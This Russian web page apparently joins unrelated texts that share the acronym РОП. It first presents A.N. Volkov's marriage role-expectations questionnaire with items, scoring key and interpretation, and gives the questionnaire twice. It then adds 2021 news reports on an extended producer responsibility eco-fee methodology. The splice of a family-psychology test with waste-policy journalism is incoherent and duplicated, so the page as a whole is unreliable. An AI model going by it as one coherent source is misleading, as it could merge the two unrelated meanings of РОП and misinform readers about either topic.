Роп методика: Опросник «Ролевые ожидания и притязания в браке» (РОП)

Содержание

Подходим ли мы друг другу? Методика ролевые ожидания и притязания в браке А.Н. Волкова (Тест РОП)

Тест РОП  необходим  для изучения отношения супругов к основным сферам семейной жизни: осознанию общности интересов — чувству “мы”, эмоциональной поддержке, внешней привлекательности партнера, родительским обязанностям, профессиональным интересам каждого из супругов, хозяйственно-бытовым обязанностям. Эти показатели, отражая основные функции семьи, составляют шкалу семейных ценностей (ШСЦ).  Методика “Ролевые ожидания и притязания в браке” содержит по 36 утверждений в каждом варианте (мужском и женском) и состоит из 7 шкал.

Характер супружеских отношений во многом зависит от степени согласованности семейных ценностей мужа и жены и ролевых представлений о том, кто и в какой степени отвечает за выполнение тех или иных обязанностей.  Адекватность ролевого поведения супругов зависит от соответствия ролевых ожиданий (ожидание мужа или жены от партнера активного выполнения тех или иных семейных обязанностей) ролевым притязаниям супругов (личная готовность каждого из партнеров выполнять семейные роли).

Подходим ли мы друг другу? Методика ролевые ожидания и притязания в браке А.Н. Волкова (Тест РОП):

Инструкция.

Перед вами ряд утверждений, которые касаются брака, семьи, отношений между мужем и женой. Внимательно прочитайте утверждения текста и оцените степень своего согласия или несогласия с ними. Вам предлагается 4 варианта ответа, выражающие ту или иную степень согласия или несогласия с утверждением, а именно: “Полностью согласен” — 3 балла, “В общем это верно” — 2 балла, “Это не совсем так” — 1 балл, “Это неверно” — 0 баллов. Подбирая вариант ответа к каждому из утверждений, постарайтесь как можно точнее передать ваше личное мнение, а не то, что принято среди ваших близких и друзей. Свои ответы регистрируйте в правой колонке бланка с вопросами.

Вопросы теста РОП, Женский вариант

1. Настроение и самочувствие человека зависит от удовлетворения его потребностей в постели.

 

2. Счастье в браке зависит от гармонии супругов в межполовых отношениях.

 

3. Межполовые отношения – главное в отношениях мужа и жены.

 

4. Главное в браке – чтобы у мужа и жены было много общих интересов.

 

5. Муж – это друг, который разделяет мои интересы, мнения, увлечения.

 

6. Муж – это, прежде всего друг, с которым можно поговорить о своих делах.

 

7. Самая главная забота мужа – обеспечить материальный достаток и бытовой комфорт семьи.

 

8. Муж должен заниматься домашним хозяйством наравне с женой.

 

9. Муж должен уметь обслужить себя, а не ждать, что жена возьмет на себя все заботы о нем.

 

10. Муж должен заниматься детьми не меньше, чем жена.

 

11. Я хотела бы, чтобы мой муж любил детей.

 

12. О мужчине я сужу по тому, хороший или плохой он отец своим детям.

 

13. Мне нравятся энергичные, деловые мужчины.

 

14. Я очень ценю мужчин, серьезно увлеченных своим делом.

 

15. Для меня очень важно, как оценивают на работе деловые и профессиональные качества моего мужа.

 

16. Муж должен уметь создавать в семье теплую, доверительную атмосферу.

 

17. Для меня главное–чтобы мой муж хорошо понимал меня и принимал такой, какая я есть.

 

18. Муж – это, прежде всего друг, который внимателен и заботлив к моим переживаниям, настроению, состоянию.

 

19. Мне нравится, когда мой муж красиво и модно одет.

 

20. Мне нравятся видные, рослые  мужчины.

 

21. Мужчина должен выглядеть так, чтобы на него было приятно посмотреть.

 

22. Самая главная забота женщины, чтобы в семье все были обихожены.

 

23. Я всегда знаю, что нужно купить для моей семьи.

 

24. Я собираю полезные советы хозяйке: как готовить вкусные блюда, консервировать овощи, фрукты.

 

25. Главную роль в воспитании ребенка всегда играет мать.

 

26. Я не боюсь трудностей, связанных с рождением и воспитанием ребенка.

 

27. Я люблю детей и с удовольствием занимаюсь с ними.

 

28. Я стремлюсь добиться своего места в жизни.

 

29. Я хочу стать хорошим специалистом своего дела.

 

30. Я горжусь, когда мне поручают трудную и ответственную работу.

 

31. Близкие и друзья часто обращаются ко мне за советом, помощью и поддержкой.

 

32. Окружающие часто доверяют мне свои беды.

 

33. Я всегда искренне и с чувством сострадания утешаю и опекаю нуждающихся в этом людей.

 

34. Мое настроение во многом зависит от того, как я выгляжу.

 

35. Я люблю красивую одежду, ношу украшения, употребляю косметику.

 

36. Я придаю большое значение своему внешнему виду.

 

Вопросы теста РОП, Мужской вариант

1. Настроение и самочувствие человека зависит от удовлетворения его потребностей в постели.

 

2. Счастье в браке зависит от гармонии супругов в межполовых отношениях.

 

3. Межполовые отношения – главное в отношениях мужа и жены.

 

4. Главное в браке – чтобы у мужа и жены было много общих интересов.

 

5. Жена – это друг, который разделяет мои интересы, мнения, увлечения.

 

6. Жена – это, прежде всего друг, с которым можно поговорить о своих делах.

 

7. Самая главная забота жены – чтобы в семье все были накормлены и ухожены.

 

8. Женщина многое теряет в моих глазах, если она плохая хозяйка.

 

9. Женщина может гордиться собой, если она хорошая хозяйка своего дома.

 

10. Я хотел бы, чтобы моя жена любила детей и была им хорошей матерью.

 

11. Женщина, которая тяготится материнством, неполноценная женщина.

 

12. Для меня главное в женщине, чтобы она была хорошей матерью моим детям.

 

13. Мне нравятся деловые и энергичные женщины.

 

14. Я очень ценю женщин, всерьез увлеченных своим делом.

 

15. Для меня очень важно, как оценивают на работе деловые и профессиональные качества моей жены.

 

16. Жена должна, прежде всего, создавать и поддерживать теплую, доверительную атмосферу в семье.

 

17. Для меня главное – чтобы моя жена хорошо понимала меня и принимала таким, каков я есть.

 

18. Жена – это, прежде всего друг, который внимателен и заботлив к  моим переживаниям, настроению, состоянию.

 

19. Мне очень нравится, когда моя жена красиво и модно одета.

 

20. Я очень ценю женщин, умеющих красиво одеваться.

 

21. Женщина должна выглядеть так, чтобы на нее обращали внимание.

 

22. Я всегда знаю, что нужно купить для нашего дома.

 

23. Я люблю заниматься домашними делами.

 

24. Я могу сделать ремонт и отделку квартиры, починку бытовой техники.

 

25. Дети любят играть со мной, охотно общаются, идут на руки.

 

26. Я очень люблю детей и умею с ними заниматься.

 

27. Я принимал бы активное участие в воспитании своего ребенка, даже если бы мы с женой решили расстаться.

 

28. Я стремлюсь добиться своего места в жизни.

 

29. Я хочу стать хорошим специалистом своего дела.

 

30. Я горжусь, когда мне поручают трудную и ответственную работу.

 

31. Близкие и друзья часто обращаются ко мне за советом, помощью и поддержкой.

 

32. Окружающие часто доверяют мне свои беды.

 

33. Я всегда искренне и с чувством сострадания утешаю и опекаю нуждающихся в этом людей.

 

34. Мое настроение во многом зависит от того, как я выгляжу.

 

35. Я стараюсь носить ту одежду, которая мне идет.

 

36. Я придирчиво отношусь к покрою костюма, фасону рубашки, цвету галстука.

 

 Ключ к тесту РОП, расчет показателей:

Семейные ценности

№ вопр.

Баллы

№ вопр.

Баллы

Общий показатель

Согласованность ценностей

 

Муж

Жена

 

Муж

Жена

опМ

опЖ

ШСЦМ

ШСЦЖ

ССЦ

№1. Межполовые отношения

1

          

2

  

3

  

∑=

  

№2. Личностная идентификация

4

          

5

  

6

  

∑=

  

 

Ожидание

Притязание

     

№3. Хозяйственно-бытовая

7

  

22

  

8

  

23

  

9

  

24

  

∑=

  

∑=

  

№4. Родительско-воспитательная

10

  

25

       

11

  

26

  

12

  

27

  

∑=

  

∑=

  

№5. Социальная активность

13

  

28

       

14

  

29

  

15

  

30

  

∑=

  

∑=

  

№6. Эмоционально-психотерапевтическая

16

  

31

       

17

  

32

  

18

  

33

  

∑=

  

∑=

  

№7. Внешняя привлекательность

19

  

34

       

20

  

35

  

21

  

36

  

∑=

  

∑=

  

Примечание. ШСЦМ и ШСЦЖ — показатели по шкалам семейных ценностей мужа и жены соответственно, ССЦ — согласованность семейных ценностей супругов.

Общий показатель семейных ценностей из 1 и 2 пункта равен сумме баллов по вопросам, характеризующим ценности в личной жизни и личностную идентификацию соответственно каждого из супругов.

Для расчета общего показателя (опМ и опЖ) для семейных ценностей с 3 по 7 пункт используется формула:

опМ = (оМ + пМ)/2

опЖ = (оЖ + пЖ)/2

Где оМ, пМ – ожидания и притязания мужа, оЖ, пЖ – ожидания и притязания жены.

ШСЦМ = опМ

ШСЦЖ = опЖ

Для всех пунктов согласованность семейных ценностей вычисляется по формуле:

ССЦ= (ШСЦМ — ШСЦЖ) – если получается со знаком минус, то берется по модулю.

Семейные ценности

Ролевые

РАм

Ролевые

РАж

установки

установки

Пж

Ом

Пж – Ом

Пм

Ож

Пм — Ож

Хозяйственно-бытовая

      

Родительско-воспитательная

      

Социальная активность

      

Эмоционально-психотерапевтическая

      

Внешняя привлекательность

      
  

∑РАм=

  

∑Раж=

 

Примечание. РАм — ролевая адекватность мужа, РАж — ролевая адекватность жены. Пм и Пж — сумма баллов (см. в предыдущей таблице ∑= по пунктам с 3 по 7) ролевых притязаний по  каждой семейной ценности мужа и жены соответственно; Ом и Ож — сумма баллов (см. в предыдущей таблице ∑= по пунктам с 3 по 7) ролевых ожиданий по  каждой семейной ценности мужа и жены соответственно.

∑Рам и ∑Раж берется по модулю.

Интерпретация шкал семейных ценностей и пояснение к полученным значениям:

Критерии автоматической интерпретации: 

                                                                    низкие   средние  высокие 

   1. Шкала семейных ценностей                         0-3       4-6      7-9 

   2. Ролевые ожидания/притязания                    0-3       4-6      7-9 

   3. Согласованность семейных ценностей         4-9       2-3      0-1 

   3. Ролевая адекватность                                 7-9       4-6      0-3 

Интерпретация шкал семейных ценностей.

1. Шкала значимости межполовых отношений в супружестве. Высокие оценки (7–9 баллов) означают, что супруг/супруга считает гармонию в постели важным условием супружеского счастья, отношение к супруге/супругу существенно зависит от оценки ее/его как партнера-«любовника». Низкие оценки (менее 3 баллов) интерпретируются как недооценка межполовых отношений в браке.

2. Шкала, отражающая установку мужа/жены на личностью идентификацию с брачным партнером: ожидание общности интересов, потребностей, ценностных ориентации, способов времяпрепровождения. Низкие оценки (менее 3 баллов) предполагают установку на личную автономию.

3. Шкала, измеряющая установку супруга/супруги на реализацию хозяйственно-бытовых функций семьи. Эта шкала, как и последующие, имеет две подшкалы. Подшкала «ролевые ожидания» – оценки рассматриваются как степень ожидания от партнера активного выполнения бытовых вопросов. Чем выше оценки по шкале ролевых ожиданий, тем больше требовании предъявляет муж/жена к участию супруга в организации быта тем большее значение имеют хозяйственно-бытовые умения и навыки партнера. Подшкала «ролевые притязания» отражает установки на собственное активное участие в ведении домашнего хозяйства. Общая оценка шкалы рассматривается как оценка мужем/женой значимости бытовой организации семьи.

 4. Шкала, позволяющая судить об отношении супруга/супруги к родительским обязанностям. Подшкала «ролевые ожидания» показывает выраженность установки супруга/супруги на активную родительскую позицию брачного партнера. Подшкала «ролевые притязания» отражает ориентацию мужа/жены на собственные обязанности по воспитанию детей. Общая оценка шкалы рассматривается как показатель значимости для супруга/супруги родительских функций. Чем выше оценка шкалы, тем большее значение придает муж/жена роли отца/матери, тем более он/она считает быть родителем основной ценностью, концентрирующей вокруг себя жизнь семьи.

5. Шкала, отражающая установку супруга/супруги на значимость внешней социальной активности (профессиональной, общественной) для стабильности брачно-семейных отношений. Подшкала «ролевые ожидания» измеряет степень ориентации мужа жены) на то, что брачный партнер должен иметь серьезные профессиональные интересы, играть активную общественную роль. Подшкала «ролевые притязания» иллюстрирует выраженность собственных профессиональных потребностей супруга/супруги. Общая оценка шкалы рассматривается как показатель значимости для мужа/жены внесемейных интересов, являющихся основными ценностями в процессе межличностного взаимодействия супругов.

6. Шкала, отражающая установку супруга/супруги на значимость эмоционально-психотерапевтической функции брака. Подшкала «ролевые ожидания» измеряет степень ориентации мужа/жены на то, что брачный партнер возьмет на себя роль эмоционального лидера семьи в вопросах: коррекция психологического климата, оказание моральной и эмоциональной поддержки, создание «психотерапевтической атмосферы». Подшкала «ролевые притязания» показывает стремление мужа/жены быть семейным «психотерапевтом». Общая оценка шкалы рассматривается как показатель значимости для супруга/супруги взаимной моральной и эмоциональной поддержки членов семьи, ориентация на брак как среду, способствующую психологической разрядке и стабилизации.

7. Шкала, отражающая установку мужа/жены на значимость внешнего облика, его соответствия стандартам современной моды. Подшкала «ролевые ожидания» отражает желание супруга/супруги иметь внешне привлекательного партнера. Подшкала «ролевые притязания» иллюстрирует установку на собственную привлекательность, стремление модно и красиво одеваться. Общая оценка шкалы рассматривается как показатель ориентации супруга/супруги па современные образцы внешнего облика.

Пояснение к полученным значениям:

– Чем больше величина балла по шкале семейных ценностей, тем значимее для супруга/супруги данная сфера жизнедеятельности семьи;

–  «Ролевые ожидания» показывают, на что рассчитывает мужа/жена в каждой области семейной жизни, и какой вклад готов(а) вносить сам(а) при выполнении семейных функций — «ролевые притязания».

Согласованность семейных ценностей характеризуется разностью баллов показателей шкалы семейных ценностей мужа и шкалы семейных ценностей жены. Чем меньше разность (различия), тем больше согласованность представлений супругов о наиболее значимых сферах жизнедеятельности семьи. Разность до 3 баллов не будет вызывать проблемных взаимоотношений, а более 3 баллов свидетельствует о достаточно высокой степени конфликтности супругов по причине разногласий в данной сфере.

Анализируя степень согласованности семейных ценностей мужа и жены, необходимо акцентировать внимание на тех семейных ценностях, которые характеризуются наименьшим совпадением, так как их рассогласование является причиной конфликтов  в супружеской паре. Причем зачинщиком конфликта будет тот, чьи ожидания выше, чем  готовность  супруга выполнять обязанности в соответствующей сфере семейных ценностей.

Раздел: тесты по психологии с ответами.

Тесты по семейной психологии.

Подходим ли мы друг другу? Методика ролевые ожидания и притязания в браке А.Н. Волкова (Тест РОП)

Оцените статью:

 

 

Другие статьи, которые могут быть вам интересны:

 

  • Назад: Тест-опросник К. Томаса на поведение в конфликтной ситуации. (Методика Томаса)
  • Вперед: Шкала тревоги. Тест на тревожность Спилбергера Ханина. (Методика оценки тревожности Ч.Д. Спилбергера и Ю.Л. Ханина)

Подходим ли мы друг другу? Методика ролевые ожидания и притязания в браке

Тест РОП  необходим  для изучения отношения супругов к основным сферам семейной жизни: осознанию общности интересов — чувству “мы”, эмоциональной поддержке, внешней привлекательности партнера, родительским обязанностям, профессиональным интересам каждого из супругов, хозяйственно-бытовым обязанностям. Эти показатели, отражая основные функции семьи, составляют шкалу семейных ценностей (ШСЦ). Методика “Ролевые ожидания и притязания в браке” содержит по 36 утверждений в каждом варианте (мужском и женском) и состоит из 7 шкал.

Характер супружеских отношений во многом зависит от степени согласованности семейных ценностей мужа и жены и ролевых представлений о том, кто и в какой степени отвечает за выполнение тех или иных обязанностей. Адекватность ролевого поведения супругов зависит от соответствия ролевых ожиданий (ожидание мужа или жены от партнера активного выполнения тех или иных семейных обязанностей) ролевым притязаниям супругов (личная готовность каждого из партнеров выполнять семейные роли).

Инструкция.

Перед вами ряд утверждений, которые касаются брака, семьи, отношений между мужем и женой. Внимательно прочитайте утверждения текста и оцените степень своего согласия или несогласия с ними. Вам предлагается 4 варианта ответа, выражающие ту или иную степень согласия или несогласия с утверждением, а именно: “Полностью согласен” — 3 балла, “В общем это верно” — 2 балла, “Это не совсем так” — 1 балл, “Это неверно” — 0 баллов. Подбирая вариант ответа к каждому из утверждений, постарайтесь как можно точнее передать ваше личное мнение, а не то, что принято среди ваших близких и друзей. Свои ответы регистрируйте в правой колонке бланка с вопросами.

Вопросы теста РОП, Женский вариант

1. Настроение и самочувствие человека зависит от удовлетворения его потребностей в постели.

2. Счастье в браке зависит от гармонии супругов в межполовых отношениях.

3. Межполовые отношения – главное в отношениях мужа и жены.

4. Главное в браке – чтобы у мужа и жены было много общих интересов.

5. Муж – это друг, который разделяет мои интересы, мнения, увлечения.

6. Муж – это, прежде всего друг, с которым можно поговорить о своих делах.

7. Самая главная забота мужа – обеспечить материальный достаток и бытовой комфорт семьи.

8. Муж должен заниматься домашним хозяйством наравне с женой.

9. Муж должен уметь обслужить себя, а не ждать, что жена возьмет на себя все заботы о нем.

10. Муж должен заниматься детьми не меньше, чем жена.

11. Я хотела бы, чтобы мой муж любил детей.

12. О мужчине я сужу по тому, хороший или плохой он отец своим детям.

13. Мне нравятся энергичные, деловые мужчины.

14. Я очень ценю мужчин, серьезно увлеченных своим делом.

15. Для меня очень важно, как оценивают на работе деловые и профессиональные качества моего мужа.

16. Муж должен уметь создавать в семье теплую, доверительную атмосферу.

17. Для меня главное–чтобы мой муж хорошо понимал меня и принимал такой, какая я есть.

18. Муж – это, прежде всего друг, который внимателен и заботлив к моим переживаниям, настроению, состоянию.

19. Мне нравится, когда мой муж красиво и модно одет.

20. Мне нравятся видные, рослые  мужчины.

21. Мужчина должен выглядеть так, чтобы на него было приятно посмотреть.

22. Самая главная забота женщины, чтобы в семье все были обихожены.

23. Я всегда знаю, что нужно купить для моей семьи.

24. Я собираю полезные советы хозяйке: как готовить вкусные блюда, консервировать овощи, фрукты.

25. Главную роль в воспитании ребенка всегда играет мать.

26. Я не боюсь трудностей, связанных с рождением и воспитанием ребенка.

27. Я люблю детей и с удовольствием занимаюсь с ними.

28. Я стремлюсь добиться своего места в жизни.

29. Я хочу стать хорошим специалистом своего дела.

30. Я горжусь, когда мне поручают трудную и ответственную работу.

31. Близкие и друзья часто обращаются ко мне за советом, помощью и поддержкой.

32. Окружающие часто доверяют мне свои беды.

33. Я всегда искренне и с чувством сострадания утешаю и опекаю нуждающихся в этом людей.

34. Мое настроение во многом зависит от того, как я выгляжу.

35. Я люблю красивую одежду, ношу украшения, употребляю косметику.

36. Я придаю большое значение своему внешнему виду.

Вопросы теста РОП, Мужской вариант

1. Настроение и самочувствие человека зависит от удовлетворения его потребностей в постели.

2. Счастье в браке зависит от гармонии супругов в межполовых отношениях.

3. Межполовые отношения – главное в отношениях мужа и жены.

4. Главное в браке – чтобы у мужа и жены было много общих интересов.

5. Жена – это друг, который разделяет мои интересы, мнения, увлечения.

6. Жена – это, прежде всего друг, с которым можно поговорить о своих делах.

7. Самая главная забота жены – чтобы в семье все были накормлены и ухожены.

8. Женщина многое теряет в моих глазах, если она плохая хозяйка.

9. Женщина может гордиться собой, если она хорошая хозяйка своего дома.

10. Я хотел бы, чтобы моя жена любила детей и была им хорошей матерью.

11. Женщина, которая тяготится материнством, неполноценная женщина.

12. Для меня главное в женщине, чтобы она была хорошей матерью моим детям.

13. Мне нравятся деловые и энергичные женщины.

14. Я очень ценю женщин, всерьез увлеченных своим делом.

15. Для меня очень важно, как оценивают на работе деловые и профессиональные качества моей жены.

16. Жена должна, прежде всего, создавать и поддерживать теплую, доверительную атмосферу в семье.

17. Для меня главное – чтобы моя жена хорошо понимала меня и принимала таким, каков я есть.

18. Жена – это, прежде всего друг, который внимателен и заботлив к  моим переживаниям, настроению, состоянию.

19. Мне очень нравится, когда моя жена красиво и модно одета.

20. Я очень ценю женщин, умеющих красиво одеваться.

21. Женщина должна выглядеть так, чтобы на нее обращали внимание.

22. Я всегда знаю, что нужно купить для нашего дома.

23. Я люблю заниматься домашними делами.

24. Я могу сделать ремонт и отделку квартиры, починку бытовой техники.

25. Дети любят играть со мной, охотно общаются, идут на руки.

26. Я очень люблю детей и умею с ними заниматься.

27. Я принимал бы активное участие в воспитании своего ребенка, даже если бы мы с женой решили расстаться.

28. Я стремлюсь добиться своего места в жизни.

29. Я хочу стать хорошим специалистом своего дела.

30. Я горжусь, когда мне поручают трудную и ответственную работу.

31. Близкие и друзья часто обращаются ко мне за советом, помощью и поддержкой.

32. Окружающие часто доверяют мне свои беды.

33. Я всегда искренне и с чувством сострадания утешаю и опекаю нуждающихся в этом людей.

34. Мое настроение во многом зависит от того, как я выгляжу.

35. Я стараюсь носить ту одежду, которая мне идет.

36. Я придирчиво отношусь к покрою костюма, фасону рубашки, цвету галстука.

ПЕРЕЙТИ К ИНТЕРПРЕТАЦИИ ТЕСТА

Минприроды предлагает увеличить сбор для неэкологичных товаров

Какие повышающие коэффициенты разработали в ведомстве и как на это отреагировал бизнес

Минприроды предлагает считать экологический сбор по новой формуле: умножать базовую ставку на повышающий коэффициент экологичности товара. Например, для некоторых видов электроники его максимальное значение составит пять. Минприроды сформировало проект методики расчета платежа. «Известия» ознакомились с документом. Производители уже направили негативные отзывы в Минсельхоз и Минпромторг, в которых отметили, что новая методика не предполагает понижающих коэффициентов. В Российском экологическом операторе (РЭО) пояснили: понижающий коэффициент действует сейчас, но на практике регулятор не может получить от компаний достоверные данные об использовании вторсырья. Это позволяло бизнесу уклоняться от своей обязанности. Новый повышающий коэффициент должен побуждать производителя переходить на более экологичные товары и упаковки, добавили в РЭО.

От нуля до пяти

Минприроды подготовило новую методику расчета экосбора — его платят компании, которые отказались от самостоятельной утилизации произведенных товаров. «Известия» ознакомились с документом. Ведомство предлагает умножать базовую ставку на повышающий коэффициент от одного до пяти в зависимости от экологичности продукции. Базу фиксирует правительство исходя из ежегодных затрат на сбор, транспортировку и утилизацию мусора. Эта сумма включает и капитальные затраты: часть расходов на покупку и содержание контейнеров и даже расходы на строительство заводов для переработки, следует из документов.

Предполагается, что повышающий коэффициент будет учитывать четыре фактора: насколько легко извлечь продукцию из отходов, выгодно ли ее утилизировать и есть ли для этого технологии, сколько раз можно перерабатывать товар, есть ли потребность во вторичном сырье, которое изготавливают из этой фракции. Например, упаковка из прозрачного стекла будет иметь коэффициент 1 (компания заплатит лишь базовую ставку), у некоторых видов электроники он составит пять, уточнили «Известиям» в Российском экологическом операторе, который является соавтором методики. Там подтвердили, что новый сбор предлагают рассчитывать по этой формуле.

Сейчас сбор считают по более простой формуле, которая включает фиксированную ставку сбора, массу продукции или количество единиц и норматив переработки для конкретной категории товара — максимум 45%. Все переменные перемножают.

Переходим на экологичное

Российский экологический оператор (РЭО) работает над тем, чтобы запуск реформы расширенной ответственности производителя (РОП) произошел с 1 января 2022 года, сказал «Известиям» глава оператора Денис Буцаев. С этого момента может начаться и расчет экосбора по новой формуле, добавил он. Денис Буцаев подчеркнул, что повышающий коэффициент должен побуждать производителя переходить на более экологичные товары и упаковки. Новая методика расчета не приведет к заметному подорожанию конечного товара, сказали в РЭО.

Для нас приоритетом является самостоятельная утилизация, а не уплата экологического сбора, — подчеркнули «Известиям» в пресс-службе Минприроды. — Никто не запрещает производителю самостоятельно создать мощности или заключить договор с утилизаторами.

В ведомстве добавили, что при расчете ставок экологического сбора важно учитывать эксплуатационные (раздельное накопление, сбор, транспортирование и так далее) и инвестиционные затраты. Если количество мощностей по обработке и утилизации отходов достаточно, то величина инвестиционной составляющей должна стремиться к нулю.

Минпромторг не согласовал проект методики, которую разработало Минприроды, сказал «Известиям» замглавы ведомства Виктор Евтухов. Основные замечания касаются «экологических» коэффициентов, установление которых может привести к нагрузке в том числе на социально значимые отрасли.

Компания, у которой есть обязательства по РОП, в рамках «базовой ставки» будет полностью покрывать переработчику как себестоимость производства вторичного сырья из отходов, так и капитальные вложения в расширение производства. Об этом сказано в письме ассоциации предприятий кондитерской промышленности «Асконд» в Минсельхоз (есть у «Известий»). Вторичное сырье переработчик продаст, а значит, речь идет о двойном финансировании процессов, уверены в организации.

Методика направлена на получение максимальных ставок — в формулу включены составляющие и коэффициенты, которые приводят только к увеличению итоговой суммы, отмечено в письме ассоциации «Промышленность за экологию» (РусПЭК) в Минпромторг (есть у «Известий»). Понижающих коэффициентов для случаев, когда это оправдано и выгодно, в проекте нет, подчеркнуто в документе. Их можно было бы использовать для тех компаний, которые, например, уже используют переработанное сырье в упаковке. Представитель организации сказал «Известиям», что, исходя из вводных расчета, в перспективе стоит ожидать более серьезных затрат на уплату экосбора.

Понижающий коэффициент действует сейчас, но на практике регулятор не может получить от компаний достоверные данные об использовании вторсырья, сказали в РЭО. Это позволяло субъектам РОП отклоняться от своей обязанности, считают там.

Нельзя перекладывать ответственность в виде повышенной ставки на бизнес за то, что население не готово к раздельному сбору мусора, а государство не ведет активную работу по его продвижению, указано в письме ассоциации СКО «Электроника-утилизация» в Минпромторг. В беседе с «Известиями» представитель организации подчеркнул, что электронику сейчас нельзя выбрасывать в обычные баки, сбор может быть только специализированным. В организации отметили: в проекте методики регулятор предлагает ориентироваться на несуществующее в регулировании понятие «срок жизненного цикла товара».

В Минэкономразвития и Минсельхозе сказали «Известиям», что изучают методику.

Раздельные споры мусора – Газета Коммерсантъ № 155 (7117) от 31.08.2021

Минэкономики после новой попытки заинтересованных министерств, Российского экологического оператора (ППК РЭО) и бизнеса договориться о перезапуске института расширенной ответственности производителей за отходы (РОП), подвергло критике соответствующий законопроект Минприроды. Ведомство поддержало аргументы бизнеса, заявив об инфляционной опасности предлагаемой системы экосбора и о неготовности РОП к перезапуску с начала 2022 года. Как и предполагал “Ъ”, решение, к которому склоняется правительство,— снятие разногласий в ручном режиме. Его предлагается реализовать по поручениям вице-премьера Виктории Абрамченко силами отраслевых министерств.

На фоне того, как Минприроды (МПР), ППК РЭО и представителям 30 ассоциаций бизнеса не удалось в очередной раз снять разногласия по законопроекту, сопровождающему перезапуск механизма РОП в РФ (см. “Ъ” от 24 августа), оказалось, что Минэкономики (в нем, по данным “Ъ”, оказались очень недовольны тем, что не были приглашены на последнее совещание) в этом конфликте заняло сторону бизнеса. В опубликованном заключении ведомства от 13 августа на законопроект МПР и ППК, сделанном на основании анализа аргументации 30 бизнес-ассоциаций, фактически перечисляются аргументы последних, в частности — о неисполнимых нормативах и штрафах за их невыполнение, целью которых бизнес считает увеличение сборов. Минэкономики также допустило возможность ухода бизнеса в тень из-за принуждения его подключения к ЕГИС УОИТ и рост цен на конечную продукцию. Из приведенных аргументов наиболее неоднозначен «инфляционный»: Минэкономики еще год назад считало, что введение РОП не увеличит конечные цены в РФ более чем на 0,1–0,2 процентного пункта,— но теперь ожидает более сильного эффекта.

В реальности качественно оценить влияние 100-процентного норматива РОП (в том числе с учетом 100-процентной надбавки за его неисполнение) на отпускные цены, видимо, не в состоянии никто — ни Минэкономики, ни ведомство Алексея Кудрина, ссылавшееся на экспертные оценки незначительного его инфляционного влияния.

Не прояснила возможного влияния на цены и методика расчета ставок экосбора, которую Минприроды отправило на согласование в Минэкономики и Минпромторг. Хотя в нее ожидаемо включено все что можно — и операционные, и капитальные расходы (последние, как уже отмечал “Ъ”, отчасти уже несут граждане в плате за услуги регоператоров), и различные повышающие коэффициенты, призванные уменьшать использование трудноизвлекаемых и неликвидных фракций.

Впрочем, как отмечает эксперт лаборатории по исследованию основ экономики замкнутого цикла РАНХиГС Сергей Завьялов, методика эта может быть применена лишь к отдельной компании и не может быть отнесена ни к отрасли, ни тем более к экономике в целом.

Бенчмарком для разработки рабочей методики могли бы стать отраслевые справочники наилучших доступных технологий, но для Минприроды этот путь, вероятно, оказался слишком сложным (в ведомстве вообще в последнее время делают много изначально непроходных документов, см. “Ъ” от 30 августа). С господином Завьяловым, очевидно, соглашаются и представители бизнеса. Так, Антон Гуськов из «СКО Электроника утилизация» говорит как минимум о необходимости дифференциации подходов к установлению повышающих коэффициентов. «Несправедливо применять усредненную ставку для всех»,— говорит Любовь Меланевская из «РусПэк».

В конечном же итоге базовых ставок экосбора по отдельным товарам пока тоже нет, и представители бизнеса признают, что даже на уровне компаний и отраслей расчеты влияния РОП на конечные цены являются «прикидками, исходя из понимания примерных расходов на рынке».

В ответ Минприроды вчера приводило «экокатастрофический» контраргумент: «Объем образования ТКО ежегодно растет, это провоцирует риски мусорных коллапсов и ухудшения экологической обстановки. Без оперативного запуска реформы плата за возрастающий объем отходов ляжет на граждан, против чего неоднократно выступало правительство и президент страны». А глава ведомства Александр Козлов предупредил (в том числе губернаторов): свалки переполняются в 20 регионах, «если эта проблема захлестнет города, мало никому не покажется».

Пока проблемы мусорных коллапсов, напомним, решались раздачей бюджетных миллиардов региональным операторам — заметным игрокам нынешней конфигурации отрасли, которые остаются в тени на фоне дискуссии о РОП. Они являются сегодня основными выгодополучателями от «подвешенного» состояния реформы, призванной уменьшить объемы образования ТКО, в том числе за счет выделения из мусора вторсырья. Их доходы, напомним, напрямую зависят от объемов вывозимого мусора.

В результате, как и прогнозировал “Ъ”, конфликт будет решаться в режиме ручного согласования.

По данным “Ъ”, отраслевой вице-премьер Виктория Абрамченко должна дать поручения всем профильным ведомствам снять разногласия с отраслевыми бизнес-ассоциациями. Решение позволит снять отраслевые риски РОП и обеспечить дифференцированный подход к системе (в том числе с точки зрения сроков переходного периода), на котором настаивают компании. Очевидно, что в этом случае с января 2022 года система запущена не будет, но в Белом доме все еще рассчитывают запустить ее к середине следующего года.

Алексей Шаповалов

«Известия»: Минприроды предложило увеличить сбор для неэкологичных товаров — Экономика и бизнес

МОСКВА, 29 сентября. /ТАСС/. Минприроды РФ предложило рассчитывать экологический сбор по новой формуле: умножать базовую ставку на повышающий коэффициент от одного до пяти в зависимости от экологичности продукции. Об этом в среду сообщает газета «Известия» со ссылкой на проект методики расчета платежа.

По данным газеты, правительство ориентируется на ежегодные затраты на сбор, транспортировку и утилизацию мусора, а затем фиксирует базу. В эту сумму входят также основные затраты: покупка и содержание контейнеров, расходы на строительство заводов для переработки. Отмечается, что повышающий коэффициент будет учитывать степень легкости извлечения продукции из отходов, выгоду от ее утилизации и наличие необходимых технологий для этого, сколько раз можно перерабатывать товар, а также потребность во вторичном сырье.

Соавтор новой методики Российский экологический оператор (РЭО) уточнил газете, что упаковка из прозрачного стекла будет иметь коэффициент один, что обозначает оплату компанией только базовой ставки, а для некоторых видов электроники он составит пять. Глава РЭО Денис Буцаев рассказал «Известиям», что оператор работает над тем, чтобы запуск реформы расширенной ответственности производителя (РОП) произошел с 1 января 2022 года. Он также добавил, что одновременно с этим может начаться расчет экосбора по новой формуле. Кроме этого, Буцаев отметил, что повышающий коэффициент должен побуждать производителя переходить на более экологичные товары и упаковки.

В пресс-службе Минприроды рассказал газете, что приоритетом является самостоятельная утилизация, а не уплата экологического сбора. В ведомстве добавили, что при расчете ставок экологического сбора важно учитывать эксплуатационные и инвестиционные затраты. При достаточном количестве мощностей по обработке и утилизации отходов величина инвестиционной составляющей стремится к нулю, пишет газета.

Отмечается, что Минпромторг не согласовал проект методики, так как установление «экологических» коэффициентов может привести к нагрузке на социально значимые отрасли. В Минэкономразвития и Минсельхозе сказали «Известиям», что изучают методику.

О системе расширенной ответственности производителей

